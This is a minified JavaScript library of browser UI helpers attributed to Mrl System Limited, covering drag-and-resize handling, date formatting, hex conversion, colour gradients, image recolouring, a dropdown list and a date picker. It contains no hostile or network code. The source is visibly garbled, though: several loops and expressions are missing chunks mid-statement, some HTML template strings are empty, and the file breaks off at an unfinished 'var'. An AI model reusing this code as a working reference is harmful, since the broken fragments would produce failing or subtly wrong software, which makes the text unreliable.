//Mrl System Limited ver1.105 //By Mrl System Limited // //Mrl System Limited //Room 06, 25F, Regent Centre, Tower A, 63 Wo Yi Hop Road, Kwai Chung, N.T., Hong Kong // // // // // var mhv=0;var mmb=0;var mdivi=decodeURI('%01')+decodeURI('%03');var mdivia=decodeURI('%02')+decodeURI('%03');var divi=decodeURI('%01')+decodeURI('%03');var divia=decodeURI('%02')+decodeURI('%03');var imgext={'JPG':1,'JPEG':1,'JPE':1,'JFIF':1,'PNG':1,'TIF':1,'TIFF':1,'BMP':1};mcbtn=function(mcbtn_txt,mcbtn_func,mcbtn_mrc){var tt=mcbtn_txt;var func=mcbtn_func;var mrc=mcbtn_mrc;var btn=Mrlce('button');Mrlab4(btn,null,null,null,null,1);var mc=mrgb(mrc,1);Mrlmp(btn,'10px','6px 8px');MrlGradient(btn,mc[0]+'ff',mc[30]+'ff');var mc=mrgb(mrc);Mrlft(btn,'verdana',12,mc[100]);btn.style.display='inline-block';btn.style.border='none';btn.style.borderRadius='6px';btn.style.whiteSpace='nowrap';btn.style.cursor='pointer';btn.innerHTML=tt;eval('btn.onclick=function(){'+func+'}');return btn;};mcleardrag=function(mcleardrag_obj){var d=mcleardrag_obj;d.onmousedown=d.monmousedown;d.monmousedown=null;if(d.monmousemove){d.onmousemove=d.monmousemove;d.monmousemove=null};if(d.monmouseout){d.onmouseout=d.monmouseout;d.monmouseout=null};d.style.cursor=d.mcursor;d.mcursor=null;};msetdrag=function(msetdrag_obj,msetdrag_defaultType,msetdrag_scale,msetdrag_border){var typ=msetdrag_defaultType||0;var d=msetdrag_obj;d.mdrag_scale=msetdrag_scale||5;var bw=msetdrag_border||10;d.mdrag_bw=bw;if(d.monmousedown==null){d.monmousedown=d.onmousedown};if(d.monmousemove==null){d.monmousemove=d.onmousemove};if(d.monmouseout==null){d.monmouseout=d.onmouseout};if(d.mcursor==null){d.mcursor=d.style.cursor};d.mdrop=function(){};d.mmove=function(){};d.mpick=function(){};d.mmustgrid=0;d.onmousedown=function(e){e=e||window.event;if(e.target!=this&&(e.target.mdrag!=this)){return 0};var y=e.offsetX||e.layerX;var x=e.offsetY||e.layerY;var d=this;var hc=Mrlmid();hc.childNodes[0].style.opacity='0';document.body.appendChild(hc);hc.mele=d;hc.pt=d.offsetTop;hc.pl=d.offsetLeft;hc.ph=d.offsetHeight;hc.pw=d.offsetWidth;d.hc=hc;hc.prx=x;hc.pry=y;hc.cx=hc.prx;hc.cy=hc.pry;hc.onmouseover=function(e){var hc=this;e=e||window.event;var d=hc.mele;var y=e.offsetX||e.layerX;var x=e.offsetY||e.layerY;hc.pry=y;hc.prx=x;return false;};hc.onmousemove=function(e){var hc=this;e=e||window.event;var d=hc.mele;var y=e.offsetX||e.layerX;var x=e.offsetY||e.layerY;hc.cy=y;hc.cx=x;d.mskeys=[(e.shiftKey?1:0),(e.ctrlKey?1:0),(e.altKey?1:0)];d.mmove();};hc.onmouseup=function(e){var hc=this;e=e||window.event;var d=hc.mele;var y=e.offsetX||e.layerX;var x=e.offsetY||e.layerY;hc.cy=y;hc.cx=x;d.mmove();if(d.mdrop){d.mdrop()};hc.parentNode.removeChild(hc);return false};hc.onmouseout=function(e){var hc=this;var d=hc.mele;if(d.mdrop){d.mdrop()};hc.parentNode.removeChild(hc)};if(d.mpick){d.mpick()};return false};d.mmove=function(){var d=this;var hc=d.hc;var difx=(hc.cx-hc.prx);var dify=(hc.cy-hc.pry);var ds=d.mdrag_scale;if(d.mskeys[1]||d.mmustgrid){difx=parseInt(difx/ds)*ds;dify=parseInt(dify/ds)*ds};hc.mele.style.top=(hc.pt*1+difx*1)+'px';hc.mele.style.left=(hc.pl*1+dify*1)+'px';};d.mskeys=[0,0,0];if(typ==0){}else if(typ==1){d.onmousemove=function(e){var d=this;e=e||window.event;var y=e.offsetX||e.layerX;var x=e.offsetY||e.layerY;if(e.target!=this&&(e.target.mdrag!=this)){return 0};var typ=0;var wd=d.offsetWidth;var ht=d.offsetHeight;var dif=d.mdrag_bw;if((x>=ht-dif||x<=dif)&&(y>=dif&&y<=wd-dif)){typ=1};if((x<=dif&&y>=wd-dif)||(x>=ht-dif&&y<=dif)){typ=2};if((y>=wd-dif||y<=dif)&&(x>=dif&&x<=ht-dif)){typ=3};if((x<=dif&&y<=dif)||(x>=ht-dif&&y>=wd-dif)){typ=4};if(typ==0){d.style.cursor='move';}else if(typ==1){d.style.cursor='n-resize';if(x>=ht-dif){d.mtyp=1}else if(x<=dif){d.mtyp=0};}else if(typ==2){d.style.cursor='ne-resize';if(x<=dif&&y>=wd-dif){d.mtyp=0}else if(x>=ht-dif&&y<=dif){d.mtyp=1};}else if(typ==3){d.style.cursor='e-resize';if(y>=wd-dif){d.mtyp=1}else if(y<=dif){d.mtyp=0};}else if(typ==4){d.style.cursor='nw-resize';if(x<=dif&&y<=dif){d.mtyp=0}else if(x>=ht-dif&&y>=wd-dif){d.mtyp=1};};d.ntyp=typ;};d.mmove=function(){var d=this;var hc=d.hc;var po=d.style.position;var typ=d.mtyp;var ntyp=d.ntyp;var ht=hc.ph;var wd=hc.pw;var chk=0;var difx=(hc.cx-hc.prx);var dify=(hc.cy-hc.pry);var ds=d.mdrag_scale;if(d.mskeys[1]||d.mmustgrid){difx=parseInt(difx/ds)*ds;dify=parseInt(dify/ds)*ds};if(ntyp==0){hc.mele.style.top=(hc.pt*1+difx*1)+'px';hc.mele.style.left=(hc.pl*1+dify*1)+'px';return 0;};if(d.mskeys[0]){if(ntyp==2||ntyp==4){if(ntyp==2){dify=(0-dify)};var Lj=parseInt((difx*1+dify*1)*(ht/(ht*1+wd*1)));dify=parseInt((difx*1+dify*1)*(wd/(ht*1+wd*1)));difx=Lj;if(d.mskeys[1]||d.mmustgrid){dify=parseInt(dify/ds)*ds;difx=parseInt(dify/wd*ht);};if(ntyp==2){dify=(0-dify)};};};if(typ==0){var nht=((ht-difx)>0)?(ht-difx):(difx-ht);var ntp=hc.pt*1-(((ht-difx)>0)?nht:0)*1+ht*1;var nwd=((wd-dify)>0)?(wd-dify):(dify-wd);var nlf=hc.pl*1-(((wd-dify)>0)?nwd:0)*1+wd*1;}else{var nht=((ht*1+difx*1)>0)?(ht*1+difx*1):((0-difx*1)-ht*1);var ntp=hc.pt*1-(((ht*1+difx*1)>0)?0:nht)*1;var nwd=((wd*1+dify*1)>0)?(wd*1+dify*1):((0-dify*1)-wd*1);var nlf=hc.pl*1-(((wd*1+dify*1)>0)?0:nwd)*1;};if(ntyp==1){var nlf=null;var nwd=null;}else if(ntyp==2){if(typ==0){var nwd=((wd*1+dify*1)>0)?(wd*1+dify*1):((0-dify*1)-wd*1);var nlf=hc.pl*1-(((wd*1+dify*1)>0)?0:nwd)*1;}else{var nwd=((wd-dify)>0)?(wd-dify):(dify-wd);var nlf=hc.pl*1-(((wd-dify)>0)?nwd:0)*1+wd*1;};}else if(ntyp==3){var ntp=null;var nht=null;}else if(ntyp==4){};if(chk==1){nht=0;nwd=0};Mrlab4(d,ntp,nlf,nht,nwd);d.style.position=po;};};return d};Mrlab4=function(Lab4_Obj,Lab4_Tp,Lab4_Lf,Lab4_Ht,Lab4_Wd,Lab4_Pos){var Obj=Lab4_Obj;Obj.style.position='absolute';if(Lab4_Tp||Lab4_Tp==0){Obj.style.top=Lab4_Tp+(isNaN(Lab4_Tp*1)?'':'px')};if(Lab4_Lf||Lab4_Lf==0){Obj.style.left=Lab4_Lf+(isNaN(Lab4_Lf*1)?'':'px')};if(Lab4_Ht||Lab4_Ht==0){Obj.style.height=Lab4_Ht+(isNaN(Lab4_Ht*1)?'':'px')};if(Lab4_Wd||Lab4_Wd==0){Obj.style.width=Lab4_Wd+(isNaN(Lab4_Wd*1)?'':'px')};if(Lab4_Pos==1){Obj.style.position='relative';};return Obj;};Mrlft=function(Lft_obj,Lft_ff,Lft_fs,Lft_co){var obj=Lft_obj;if(Lft_ff){obj.style.fontFamily=Lft_ff};if(Lft_fs){obj.style.fontSize=Lft_fs+'px'};if(Lft_co){obj.style.color=Lft_co};};Mrlmp=function(Lmp_obj,Lmp_mar,Lmp_pad){var obj=Lmp_obj;if(Lmp_mar){obj.style.margin=Lmp_mar};if(Lmp_pad){obj.style.padding=Lmp_pad};};mpubdate=function(mpubdate_diff,mpubdate_hourdiff,mpubdate_date){var d=mpubdate_diff?mpubdate_diff:0;var dh=mpubdate_hourdiff?mpubdate_hourdiff:0;var now=mpubdate_date||new Date();now.setDate(now.getDate()+d*1);now.setHours(now.getHours()+dh*1);var yr=now.getFullYear();var m=now.getMonth()*1+1;var da=now.getDate();yr='0000'+''+yr;m='00'+''+m;da='00'+''+da;yr=yr.substring(yr.length-4);m=m.substring(m.length-2);da=da.substring(da.length-2);var nd=yr+'-'+m+'-'+da;return nd;};mpubdatetime=function(mpubdate_diff,mpubdate_hourdiff,mpubdate_date){var d=mpubdate_diff?mpubdate_diff:0;var dh=mpubdate_hourdiff?mpubdate_hourdiff:0;var now=mpubdate_date||new Date();now.setDate(now.getDate()+d*1);now.setHours(now.getHours()+dh*1);var yr=now.getFullYear();var m=now.getMonth()*1+1;var da=now.getDate();yr='0000'+''+yr;m='00'+''+m;da='00'+''+da;yr=yr.substring(yr.length-4);m=m.substring(m.length-2);da=da.substring(da.length-2);var hr=now.getHours();hr='00'+''+hr;hr=hr.substring(hr.length-2);var mn=now.getMinutes();mn='00'+''+mn;mn=mn.substring(mn.length-2);var sc=now.getSeconds();sc='00'+''+sc;sc=sc.substring(sc.length-2);var nd=yr+'-'+m+'-'+da+' '+hr+':'+mn+':'+sc;return nd;};mmdatetodate=function(mmdatetodate_dt){var dt=mmdatetodate_dt;var ddt=new Date();ddt.setFullYear(dt.substring(0,4),dt.substring(5,7)-1,dt.substring(8,10));ddt.setHours(dt.substring(11,13),dt.substring(14,16),dt.substring(17,19));return ddt;};mdatetomdate=function(mdatetomdate_dt){var dt=mdatetomdate_dt;var ddt='';var ary=[[dt.getFullYear(),4,'-'],[dt.getMonth()*1+1*1,2,'-'],[dt.getDate(),2,' '],[dt.getHours(),2,':'],[dt.getMinutes(),2,':'],[dt.getSeconds(),2,'']];for(var i=0;ieedt){var Lj=sdt;var sdt=edt;var edt=Lj;var Lj=ssdt;var ssdt=eedt;var eedt=Lj;};if(lst){var ary=new Array();var ln=eedt-ssdt*1+1*1;var cdt=sdt;for(var i=0;i=0;i--){if(m10[val.substring(i,i*1+1)]!==undefined){q++;ttl=ttl*1+m10[val.substring(i,i*1+1)]*(Math.pow(16,q))}};return ttl;};m10to16=function(m10to16_val){var val=m10to16_val?m10to16_val:0;val+='';val=val.replace(/[,]+/g,'');if(isNaN(val*1)){return 0};val*=1;var m16={0:'0',1:'1',2:'2',3:'3',4:'4',5:'5',6:'6',7:'7',8:'8',9:'9',10:'a',11:'b',12:'c',13:'d',14:'e',15:'f'};var ttl='';var b=val;var a=(0-1);for(var i=0;a!=0;i=0){var a=parseInt(b/16);ttl=m16[(b-(a*16))]+''+ttl;b=a;};return ttl;};m2to10=function(m2to10_binary){return parseInt(m2to10_binary,2)};m10to2=function(m10to2_num){return m10to2_num.toString(2)};m2utf8=function(m2utf8_tt){if(window.TextEncoder){return (new TextEncoder('utf-8').encode(m2utf8_tt))};var a=new Array();var tt=m2utf8_tt;for(var i=0;i>6),0x80|(kc&0x3f));}else if(kc<0xd800||kc>=0xe000){a.push(0xe0|(kc>>12),0x80|((kc>>6)&0x3f),0x80|(kc&0x3f));}else{i++;kc=0x10000+(((kc&0x3ff)<<10)|(tt.charCodeAt(i)&0x3ff));a.push(0xf0|(kc>>18),0x80|((kc>>12)&0x3f),0x80|((kc>>6)&0x3f),0x80|(kc&0x3f));};};return new Array(a);};mgs=function(mgs_obj,mgs_stl){return ((mgs_obj.nodeType===1)?window.getComputedStyle(mgs_obj).getPropertyValue(mgs_stl):'');};Mrlmid=function(){var d=Mrlce('div');var tt="
";tt+="
";d.innerHTML=tt;Mrlab4(d,0,0);d.style.height='100%';d.style.width='100%';var td=d.getElementsByTagName('input')[0].parentNode;td.removeChild(td.childNodes[0]);d.td=td;d.style.position='fixed';d.style.zIndex='16777271';d.mblur=function(){var d=this;if(d.parentNode){d.parentNode.removeChild(d)}};return d;};mrgb=function(mrgb_rgb,mrgb_typ){var mc=mrgb_rgb;var typ=(mrgb_typ?(mrgb_typ==3?3:(mrgb_typ>=2?2:mrgb_typ)):0);if(!mc){return 0};if(mc.substring(0,1)!='#'){return 0};if(mc.length==4){mc='#'+mc.substring(1,2)+''+mc.substring(1,2)+''+mc.substring(2,3)+''+mc.substring(2,3)+''+mc.substring(3,4)+''+mc.substring(3,4)};if(mc.length!=7){return 0};var r=mc.substring(1,3);var g=mc.substring(3,5);var b=mc.substring(5,7);var rten=m16to10(r);var gten=m16to10(g);var bten=m16to10(b);if(typ==0){if(((rten*1+gten*1+bten*1)*10)>=3825){typ=2}else{typ=1}};var mrgbs=new Array();var mcrgb=[rten,gten,bten];if(typ==3){var pcol=parseInt((rten*1+gten*1+bten*1)/765*100);var ppcol=100-pcol;for(var i=0;i<101;i++){if(ipcol){mrgbs[i]='#'+mfillzeros(m10to16(parseInt((255-rten)/ppcol*(i-pcol)+rten)),2)+mfillzeros(m10to16(parseInt((255-gten)/ppcol*(i-pcol)+gten)),2)+mfillzeros(m10to16(parseInt((255-bten)/ppcol*(i-pcol)+bten)),2);};};}else{if(typ==1){var mto=255}else if(typ==2){var mto=0};for(var i=0;i<101;i++){var mtrgb=new Array();for(var q=0;q<3;q++){var a=('0'+''+m10to16(Math.round(mcrgb[q]*1+((mto-mcrgb[q])*(i/100))*1)));a=a.substring(a.length-2);mtrgb[q]=a;};mrgbs[i]='#'+mtrgb.join('');};};return mrgbs;};mrgb2mc=function(mrgb2mc_rgb){var objcl=mrgb2mc_rgb;objcl=objcl.replace(/rgba\(/g,'').replace(/rgb\(/g,'').replace(/\)/g,'');var objcl_ary=objcl.split(',');var ncl=new Array();var objcl=((objcl_ary.length==0)?objcl:('#'+mfillzeros(m10to16(objcl_ary[0]),2)+mfillzeros(m10to16(objcl_ary[1]),2)+mfillzeros(m10to16(objcl_ary[2]),2)+((objcl_ary.length>=4)?mfillzeros(m10to16(objcl_ary[3]),2):'')));return objcl;};mmc2rgb=function(mmc2rgb_mc){var cmc=mmc2rgb_mc.replace(/\#/g,'');if(cmc.length<6){var a=cmc.substring(0,1);var b=cmc.substring(1,2);var c=cmc.substring(2,3);cmc=a+''+a+''+b+''+b+''+c+''+c};var a=cmc.substring(0,2);var b=cmc.substring(2,4);var c=cmc.substring(4,6);var d=((cmc.length==8)?cmc.substring(6,8):'ff');var a=m16to10(a);var b=m16to10(b);var c=m16to10(c);var d=m16to10(d);return [a,b,c,d];};mchimcol=function(mchimcol_im,mchimcol_col,mchimcol_typ){var im=mchimcol_im;if(im.tagName!='IMG'){return 0};var col=mchimcol_col||'#fff';var typ=mchimcol_typ||0;if(!im.complete){if(!im.id){im.id=mgdi('IMG',15)};setTimeout('mchimcol(Mrlgei("'+im.id+'"),"'+col+'",'+typ+')',500);return 0};var cd=Mrlce('canvas');cd.height=im.height;cd.width=im.width;var c2d=cd.getContext('2d');c2d.drawImage(im,0,0,im.width,im.height);var imdat=c2d.getImageData(0,0,im.width,im.height);var px=imdat.data;if(typ==0){var ncol=mrgb(col,3);var mxcol=ncol.length-1;for(var i=0;i=0.5){return 'black'}else{return 'white'}};mamp="&";mlt="<";mgt=">";mnbsp=" ";mramp="&";Lt="<";mrgt=">";mrnbsp=" ";Mrlie9=function(){return navigator.appVersion.indexOf('MSIE')!=-1&&(document.documentMode || browserEngineVersion)<9;};MrlAR=function(LArrayRemove_Ary,LArrayRemove_ID){return LArrayRemove_Ary.slice(0,LArrayRemove_ID).concat(LArrayRemove_Ary.slice(LArrayRemove_ID*1+1,LArrayRemove_Ary.length))};Mrlgei=function(Lgei_LjA){return document.getElementById(Lgei_LjA)};Mrlgp=function(Lgp_inp){var inp=Lgp_inp;var p=inp.parentNode;if(!p){return document.body;};for(var i=0;p!=document.body;i=0){var pt=p.tagName;pt+='';pt=pt.toUpperCase();if(pt=='DIV'||pt== 'BUTTON'||pt=='CENTER'||pt=='SPAN'){break};p=p.parentNode;};return p;};Mrlce=function(Lce_LjA){return document.createElement(Lce_LjA)};MrlTransform=function(LTransform_ObjA,LTransform_LjA){LTransform_ObjA.style.transform=LTransform_LjA;LTransform_ObjA.style.mozTransform=LTransform_LjA;LTransform_ObjA.style.msTransform=LTransform_LjA;LTransform_ObjA.style.webkitTransform=LTransform_LjA;};MrlTransformOrigin=function(LTransformOrigin_ObjA,LTransformOrigin_LjA){LTransformOrigin_ObjA.style.transformOrigin=LTransformOrigin_LjA;LTransformOrigin_ObjA.style.mozTransformOrigin=LTransformOrigin_LjA;LTransformOrigin_ObjA.style.msTransformOrigin=LTransformOrigin_LjA;LTransformOrigin_ObjA.style.webkitTransformOrigin=LTransformOrigin_LjA;};MrlListDropDown = function(LListDropDown_ObjA, LListDropDown_Ary){var ObjA = LListDropDown_ObjA; if (ObjA.LCurrentOpenning == 1) {return 0;}; ObjA.LCurrentOpenning = '1'; var aryA = LListDropDown_Ary;var ObjB = ObjA.parentNode; for (i = 0; ObjB != document.body ; i = 0) {var LjA = ObjB.tagName;LjA = LjA.toUpperCase();if (LjA == 'DIV') {break;};ObjB = ObjB.parentNode;}; var ObjC = ObjB; var ObjLs = Mrlce('div'); ObjLs.LTextBox = ObjA; ObjLs.style.top = (ObjA.offsetTop * 1 + ObjA.offsetHeight * 1) + 'px'; ObjLs.style.left = (ObjA.offsetLeft * 1) + 'px'; ObjLs.style.width = ObjA.offsetWidth + 'px'; ObjLs.style.height = (ObjB.offsetHeight / 2) + 'px'; ObjLs.style.position = 'absolute'; ObjLs.style.overflow = 'hidden'; ObjLs.style.zIndex = '999'; var ObjPar = ObjA.parentNode; for (var i = 0; ObjPar != document.body; i = 0) { var LjA = ObjPar.tagName; LjA = LjA.toUpperCase(); if (LjA == 'DIV' || LjA == 'BUTTON' || LjA == 'SPAN') {break}; ObjPar = ObjPar.parentNode;}; ObjPar.appendChild(ObjLs); var ObjLsBk = Mrlce('div'); ObjLsBk.style.top = '0px'; ObjLsBk.style.left = '0px'; ObjLsBk.style.width = ObjA.offsetWidth * 1 + 20 + 'px'; ObjLsBk.style.height = (ObjB.offsetHeight / 2) + 'px'; ObjLsBk.style.position = 'absolute'; ObjLsBk.style.overflow = 'hidden'; ObjLsBk.style.zIndex = '0'; ObjLsBk.style.backgroundColor = '#fafafa'; ObjLsBk.style.filter = 'alpha(opacity=90)'; ObjLsBk.style.opacity = '0.9'; ObjLs.appendChild(ObjLsBk); var ObjLsTb = Mrlce('div'); ObjLsTb.style.top = '0px'; ObjLsTb.style.left = '0px'; ObjLsTb.style.width = (ObjA.offsetWidth * 1 + 20) + 'px'; ObjLsTb.style.height = (ObjB.offsetHeight / 2) + 'px'; ObjLsTb.style.position = 'absolute'; ObjLsTb.style.overflow = 'hidden'; ObjLsTb.style.overflowY = 'scroll'; ObjLsTb.style.zIndex = '1'; ObjLs.appendChild(ObjLsTb); var Tp = -20; for (var i in aryA) {Tp = Tp * 1 + 20; var ObjB = Mrlce('div'); ObjB.style.position = 'absolute'; ObjB.style.top = Tp + 'px'; ObjB.style.left = '0px'; ObjB.style.width = ObjA.offsetWidth * 1 + 20 + 'px'; ObjB.style.height = '20px'; ObjB.style.fontFamily = 'Verdana'; ObjB.style.fontSize = '12px'; ObjB.style.color = '#000000'; ObjB.style.backgroundColor = 'transparent'; ObjB.innerHTML = aryA[i]; ObjB.onmouseover = function(){this.style.backgroundColor = '#666666'; this.style.color = '#fafafa';}; ObjB.onmouseout = function(){this.style.backgroundColor = 'transparent'; this.style.color = '#000000';}; ObjB.onclick = function(){this.parentNode.parentNode.LTextBox.value = this.innerHTML;clearTimeout(this.parentNode.parentNode.LTimeout);if (this.parentNode.parentNode.LTextBox.onchange) {this.parentNode.parentNode.LTextBox.onchange()}; this.parentNode.parentNode.parentNode.removeChild(this.parentNode.parentNode); ObjA.LCurrentOpenning = 0;};ObjLsTb.appendChild(ObjB);};Tp = Tp * 1 + 20;if (Tp <= (ObjC.offsetHeight / 2)) { ObjLsTb.style.height = Tp + 'px'; ObjLsBk.style.height = Tp + 'px'; ObjLs.style.height = Tp + 'px';}; if (ObjLsTb.getElementsByTagName('div').length == 0) {ObjLs.parentNode.removeChild(ObjLs); ObjA.LCurrentOpenning = 0;};ObjLs.LObj = ObjA;ObjLs.id = 'MrlDropDownList_' + Math.round(Math.random() * 9999);ObjLs.LTimeout = setTimeout("var ObjA = Mrlgei('"+ObjLs.id+"'); if(!ObjA) {return 0}; ObjA.LObj.LCurrentOpenning = 0; ObjA.Lclose()", 1000);ObjLs.Lclose = function(){this.parentNode.removeChild(this)};ObjLs.onmouseover = function(){clearTimeout(this.LTimeout)};ObjLs.onmouseout = function(){clearTimeout(this.LTimeout); this.LTimeout = setTimeout("var ObjA = Mrlgei('"+this.id+"'); if(!ObjA) {return 0}; ObjA.LObj.LCurrentOpenning = 0; ObjA.Lclose()", 1000)};return ObjLs;};MrlDateInputFunction = function(LDateInputFunction_ObjA, LDateInputFunction_LjA){if (LDateInputFunction_ObjA.LDateInputing) {if (LDateInputFunction_ObjA.LDateInputing == 'Y'){return 0}};var Sz = 1.2;LDateInputFunction_ObjA.LDateInputing = 'Y'; if (!LDateInputFunction_LjA) {var LjA = LDateInputFunction_ObjA.value;} else {var LjA = LDateInputFunction_LjA;}; var LjB = ''; if (LjA == '') {var now = new Date(); var LjC = now.getYear(); LjC = LjC * 1; if (LjC < 2000) {LjC = LjC * 1 + 1900;}; LjC = LjC + ''; LjB = LjB + LjC + '-'; LjC = now.getMonth(); LjC = LjC * 1 + 1; LjC = LjC + ''; if (LjC.length == 1) {LjC = '0' + LjC;}; LjB = LjB + LjC + '-'; LjC = now.getDate(); LjC = LjC + ''; if (LjC.length == 1) {LjC = '0' + LjC;}; LjB = LjB + LjC; LDateInputFunction_ObjA.value = LjB; LjA = LDateInputFunction_ObjA.value ;} var Y =LjA.substring(0, 4); Y = Y * 1; var M = LjA.substring(5, 7); M = M * 1; var D = LjA.substring(8, 10); D = D * 1; if ((Y / 4) == Math.round((Y / 4) - 0.5, 0)) { var DicM = [31,29,31,30,31,30,31,31,30,31,30,31];} else { var DicM = [31,28,31,30,31,30,31,31,30,31,30,31];}var DateOfYear = 0;for (i = 0; i < (M - 1); i++){DateOfYear = DateOfYear * 1 + DicM[i];}DateOfYear = DateOfYear * 1 + D;var DateFrom1990 = ((Y - 1900) * 365) * 1 + Math.round((Y / 4) - 0.5, 0) * 1 - Math.round(1899 / 4 - 0.5, 0) * 1 + DateOfYear;var WeekDateOf = ((DateFrom1990 - D * 1 + 1) - (Math.round((DateFrom1990 - D * 1 + 1) / 7 - 0.5, 0) * 7)) - 1;var LBG = '#fafafa';var LBD = '#eee';var LBGa = '#ccc';var LBDb = '#ddd';var LSelBG = '#efefef';var LHFontC = '#f00';var LNFontC = '#666'; var ObjA = Mrlce('div'); ObjA.style.position = 'absolute'; ObjA.name = '0'; ObjA.LRandomObjVar = 'MrlRandomObjVar' + Math.round(Math.random() * 900, 0); ObjA.id = ObjA.LRandomObjVar; ObjA.style.width = (210 * Sz) + 'px'; ObjA.style.height = (160 * Sz) + 'px'; ObjA.style.zIndex = '999'; ObjA.style.overflow = 'hidden'; ObjA.style.backgroundColor = LBG; var ObjB = Mrlce('obj'); ObjB.LTextBox = LDateInputFunction_ObjA; var DA = D; DA = DA + ''; if (DA.length == 1) DA = '0' + DA; ObjB.LValue = DA; ObjA.appendChild(ObjB); var ObjB = Mrlce('Select'); ObjB.style.position = 'absolute'; ObjB.style.width = (55 * Sz) + 'px'; ObjB.style.height = (20 * Sz) + 'px'; ObjB.style.top = (5 * Sz) + 'px'; ObjB.style.left = (25 * Sz) + 'px'; ObjB.style.zIndex = '500'; ObjB.style.fontFamily = 'Arial'; ObjB.style.fontSize = (12 * Sz) + 'px'; ObjB.style.border = 'none 0px #000000'; ObjB.style.backgroundColor = 'transparent'; for (var i = Y - 50; i < (Y * 1 + 50); i++) { var p = i + ''; var ObjC = Mrlce('option'); ObjC.value = p; ObjC.innerHTML = p; ObjB.appendChild(ObjC) ;} ObjB.onchange = function(){var ObjA = this.parentNode.getElementsByTagName('select'); this.parentNode.getElementsByTagName('obj')[0].LTextBox.LDateInputing = 'N'; MrlDateInputFunction(this.parentNode.getElementsByTagName('obj')[0].LTextBox, (ObjA[0].value + '-' + ObjA[1].value + '-' + this.parentNode.getElementsByTagName('obj')[0].LValue)); this.parentNode.parentNode.removeChild(this.parentNode);}; ObjA.appendChild(ObjB); ObjB.selectedIndex = 50; var ObjB = Mrlce('Select'); ObjB.style.position = 'absolute'; ObjB.style.width = (40 * Sz) + 'px'; ObjB.style.height = (20 * Sz) + 'px'; ObjB.style.top = (5 * Sz) + 'px'; ObjB.style.left = (80 * Sz) + 'px'; ObjB.style.zIndex = '500'; ObjB.style.fontFamily = 'Arial'; ObjB.style.fontSize = (12 * Sz) + 'px'; ObjB.style.border = 'none 0px #000000'; ObjB.style.backgroundColor = 'transparent'; for (var i = 1; i < 13; i++) { var p = i + ''; if (p.length == 1) {p = '0' + p;}; var ObjC = Mrlce('option'); ObjC.value = p; ObjC.innerHTML = p; ObjB.appendChild(ObjC);} ObjB.onchange = function(){var ObjA = this.parentNode.getElementsByTagName('select');this.parentNode.getElementsByTagName('obj')[0].LTextBox.LDateInputing = 'N'; MrlDateInputFunction(this.parentNode.getElementsByTagName('obj')[0].LTextBox, (ObjA[0].value + '-' + ObjA[1].value + '-' + this.parentNode.getElementsByTagName('obj')[0].LValue)); this.parentNode.parentNode.removeChild(this.parentNode);}; ObjA.appendChild(ObjB); ObjB.selectedIndex = M - 1; var ObjB = Mrlce('button'); ObjB.style.position = 'absolute'; ObjB.style.width = (20 * Sz) + 'px'; ObjB.style.height = (20 * Sz) + 'px'; ObjB.style.top = (5 * Sz) + 'px'; ObjB.style.left = (5 * Sz) + 'px'; ObjB.style.zIndex = '500'; ObjB.style.fontFamily = 'Arial'; ObjB.style.fontSize = (10 * Sz) + 'px'; ObjB.style.color = LNFontC; ObjB.style.border = 'none 0px #000000'; ObjB.style.backgroundColor = LSelBG; ObjB.value = "-";ObjB.onclick = function(){var ObjA = this.parentNode.getElementsByTagName('select');if (ObjA[1].value == '01') {ObjA[1].value = '12'; ObjA[0].value--} else if ((ObjA[1].value * 1 - 1) < 10) {ObjA[1].value = '0' + (ObjA[1].value * 1 - 1)} else {ObjA[1].value--};this.parentNode.getElementsByTagName('obj')[0].LTextBox.LDateInputing = 'N'; MrlDateInputFunction(this.parentNode.getElementsByTagName('obj')[0].LTextBox, (ObjA[0].value + '-' + ObjA[1].value + '-' + this.parentNode.getElementsByTagName('obj')[0].LValue)); this.parentNode.parentNode.removeChild(this.parentNode);}; ObjA.appendChild(ObjB); var ObjB = Mrlce('button'); ObjB.style.position = 'absolute'; ObjB.style.width = (20 * Sz) + 'px'; ObjB.style.height = (20 * Sz) + 'px'; ObjB.style.top = (5 * Sz) + 'px'; ObjB.style.left = (120 * Sz) + 'px'; ObjB.style.zIndex = '500'; ObjB.style.fontFamily = 'Arial'; ObjB.style.fontSize = (10 * Sz) + 'px'; ObjB.style.border = 'none 0px #000000'; ObjB.style.backgroundColor = LSelBG; ObjB.style.color = LNFontC; ObjB.innerHTML = "+";ObjB.onclick = function(){var ObjA = this.parentNode.getElementsByTagName('select');if (ObjA[1].value == 12) {ObjA[1].value = '01'; ObjA[0].value++} else if ((ObjA[1].value * 1 + 1) < 10) {ObjA[1].value = '0' + (ObjA[1].value * 1 + 1)} else {ObjA[1].value++};this.parentNode.getElementsByTagName('obj')[0].LTextBox.LDateInputing = 'N'; MrlDateInputFunction(this.parentNode.getElementsByTagName('obj')[0].LTextBox, (ObjA[0].value + '-' + ObjA[1].value + '-' + this.parentNode.getElementsByTagName('obj')[0].LValue)); this.parentNode.parentNode.removeChild(this.parentNode);}; ObjA.appendChild(ObjB); var DicWeekDay = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat']; var Tp = (18 * Sz) * 1 + (10 * Sz); var Lf = 0 - (28 * Sz) * 1 + (5 * Sz); for (var m = 0; m < 7; m++) { Lf = Lf * 1 + (28 * Sz); var ObjB = Mrlce('label'); ObjB.style.position = 'absolute'; ObjB.style.width = (28 * Sz) + 'px'; ObjB.style.height = (18 * Sz) + 'px'; ObjB.style.top = Tp + 'px'; ObjB.style.left = Lf + 'px'; ObjB.style.zIndex = '500'; ObjB.style.fontFamily = 'Arial'; ObjB.style.fontSize = (12 * Sz) + 'px'; if (m == 0) { ObjB.style.color = LHFontC;} else { ObjB.style.color = LNFontC;} ObjB.style.backgroundColor = LBG; ObjB.style.border = 'solid ' + (1 * Sz) + 'px ' + LBD; ObjB.innerHTML = DicWeekDay[m]; ObjB.style.textAlign = 'center'; ObjB.style.overflow = 'hidden'; ObjA.appendChild(ObjB);} var DicThisDates = new Array(); var DicThisDatesType = new Array(); var LjStr = DicM[M - 2] - WeekDateOf; var nonMonthBG = LBG; var nonMonthBD = LBG; var curMonthBG = LBGa; var curMonthBD = LBDb; var LSelBackgroundColor = LSelBG; for (var i = 0; i < WeekDateOf; i++) { DicThisDates[DicThisDates.length] = (LjStr * 1 + i); DicThisDatesType[DicThisDatesType.length] = 0;}; for (var i = 0; i < DicM[M - 1]; i++) { DicThisDates[DicThisDates.length] = i * 1 + 1; DicThisDatesType[DicThisDatesType.length] = 1;}; for (var i = 0; DicThisDates.length <= 6 * 7; i++) { DicThisDates[DicThisDates.length] = i * 1 + 1; DicThisDatesType[DicThisDatesType.length] = 0;} var 